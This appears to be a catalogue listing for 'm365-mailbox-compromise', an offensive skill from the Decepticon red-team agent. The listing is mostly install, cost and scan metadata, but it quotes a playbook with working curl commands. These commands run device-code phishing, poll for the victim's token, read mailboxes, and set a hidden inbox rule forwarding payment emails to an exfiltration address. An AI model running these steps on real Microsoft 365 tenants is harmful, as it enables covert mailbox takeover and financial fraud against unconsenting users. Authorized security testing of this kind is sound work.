m365-mailbox-compromise

m365-mailbox-compromise is a skill for Claude Code, Codex from PurpleAILAB/Decepticon. It costs 45 tokens per session (3,760 once invoked), scanned A, original, Apache-2.0.

An attack playbook for taking over Microsoft 365 mailboxes through stolen login approvals, delegated access, email rules, or authentication tokens.

In plain words
What is it for?
It is for reviewing Microsoft 365 environments for OAuth consent phishing, device-code phishing, unsafe mailbox delegation, forwarding rules, and token theft.
Why use it?
It explains how an attacker can keep collecting email even after a password reset or multi-factor authentication change.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one.

Good fit It is for reviewing Microsoft 365 environments for OAuth consent phishing, device-code phishing, unsafe mailbox delegation, forwarding rules, and token theft.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/purpleailab/decepticon/m365-mailbox-compromise
About the project

Decepticon is an autonomous red-team agent that coordinates AI agents, security tools, sandboxes, and supporting services for authorized cybersecurity assessments. Security researchers and red teams can run it through its Docker stack, cloud service, command-line interface, or Python SDK, with the catalogue entries representing its available skills.

PurpleAILAB/Decepticon · 5,482 stars · on GitHub · decepticon.red

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add PurpleAILAB/Decepticon --skill m365-mailbox-compromise
Clone the repo
git clone --depth 1 https://github.com/PurpleAILAB/Decepticon

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for m365-mailbox-compromise

README.md
[![agentmods](https://agentmods.dev/badge/skills/purpleailab/decepticon/m365-mailbox-compromise/github.svg)](https://agentmods.dev/skills/purpleailab/decepticon/m365-mailbox-compromise)
Your own site
<a href="https://agentmods.dev/skills/purpleailab/decepticon/m365-mailbox-compromise"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/m365-mailbox-compromise/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for m365-mailbox-compromise

Your own site · 80×15
<a href="https://agentmods.dev/skills/purpleailab/decepticon/m365-mailbox-compromise"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/m365-mailbox-compromise.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 45 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 3,760 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 1 finding. A grade says what 26 rules found in the file — not that it is safe. Third-party audits
  • NVIDIA SkillSpector warn 7 Sept 2026
SkillSpector: 8 findings, up to high

These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →

  • high Privilege Escalation · line 41
    Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
    Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
  • medium Data Exfiltration · line 19
    Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.
    Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
  • medium Data Exfiltration · line 31
    Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.
    Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
  • medium Data Exfiltration · line 64
    Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.
    Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
  • medium Data Exfiltration · line 95
    Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.
    Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
  • medium Data Exfiltration · line 242
    Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.
    Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
  • medium Data Exfiltration · line 108
    Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.
    Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
  • low Privilege Escalation · line 148
    Skill requests more permissions than appear necessary for its stated functionality. Review if elevated access is justified.
    Fix: Request only the minimum permissions required. Document why each permission is needed. Remove broad permissions like '*' or 'all'.
How audits are shown
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00045 $0.03760
Opus 5 $0.00023 $0.01880
Sonnet 5 $0.00009 $0.00752
Haiku 4.5 $0.00005 $0.00376

Measured 7d ago against content hash b9f3a6058596, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-11, from the pricing page.

Security

Grade A, and why

m365-mailbox-compromise scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 7d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

curl -s "https://login.microsoftonline.com/common/oauth2/v2.0/devicecode" \
packages/decepticon/decepticon/skills/standard/cloud/m365-mailbox-compromise/SKILL.md · 314 lines

How it starts

The opening of the file, as written. The whole thing — 314 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Microsoft 365 Mailbox Compromise

Targets Microsoft 365 tenants through OAuth consent grants, device code phishing, delegate access abuse, and mail flow rule persistence. Provides silent, persistent email collection that survives password resets and MFA changes.

Quick Reference

# Device code phishing — initiate auth flow
curl -s "https://login.microsoftonline.com/common/oauth2/v2.0/devicecode" \
  -d "client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&scope=offline_access Mail.Read Mail.ReadWrite"

# Poll for token after victim enters code
curl -s "https://login.microsoftonline.com/common/oauth2/v2.0/token" \
  -d "grant_type=urn:ietf:params:oauth:grant-type:device_code&client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&device_code=<DEVICE_CODE>"

# List mailbox messages via Graph API
curl -s "https://graph.microsoft.com/v1.0/me/messages?\$top=50&\$select=subject,from,receivedDateTime" \
  -H "Authorization: Bearer <ACCESS_TOKEN>" | jq '.value[] | {subject,from,receivedDateTime}'

# Create inbox forwarding rule
curl -s -X POST "https://graph.microsoft.com/v1.0/me/mailFolders/inbox/messageRules" \
  -H "Authorization: Bearer <ACCESS_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"displayName":"","isEnabled":true,"sequence":1,"conditions":{"subjectContains":["invoice","payment","wire","transfer"]},"actions":{"forwardTo":[{"emailAddress":{"address":"<EXFIL_EMAIL>"}}]}}'

MITRE ATT&CK Mapping

Technique ID Application
Steal Application Access Token T1528 OAuth consent grant or device code phishing for Graph API tokens
Additional Email Delegate Permissions T1098.002 Add mailbox delegate or ApplicationImpersonation role
Remote Email Collection T1114.002 Exfiltrate mail via Graph API or EWS
Office Application Startup T1137 Outlook rules, forms, and home page for persistence
Phishing: Spearphishing Link T1566.002 OAuth consent phishing URL delivery
Account Manipulation T1098 Mail flow rule creation for persistent forwarding

Read the full file on GitHub · 314 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 7d ago First seen · 314 lines · 45 tokens per session scan A b9f3a6058596

Subscribe to this mod's changes

m365-mailbox-compromise is a skill published in the GitHub repository PurpleAILAB/Decepticon (5,482 stars, last pushed 11d ago), licensed Apache-2.0. It adds 45 tokens to every session and 3,760 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it A with 1 finding (makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.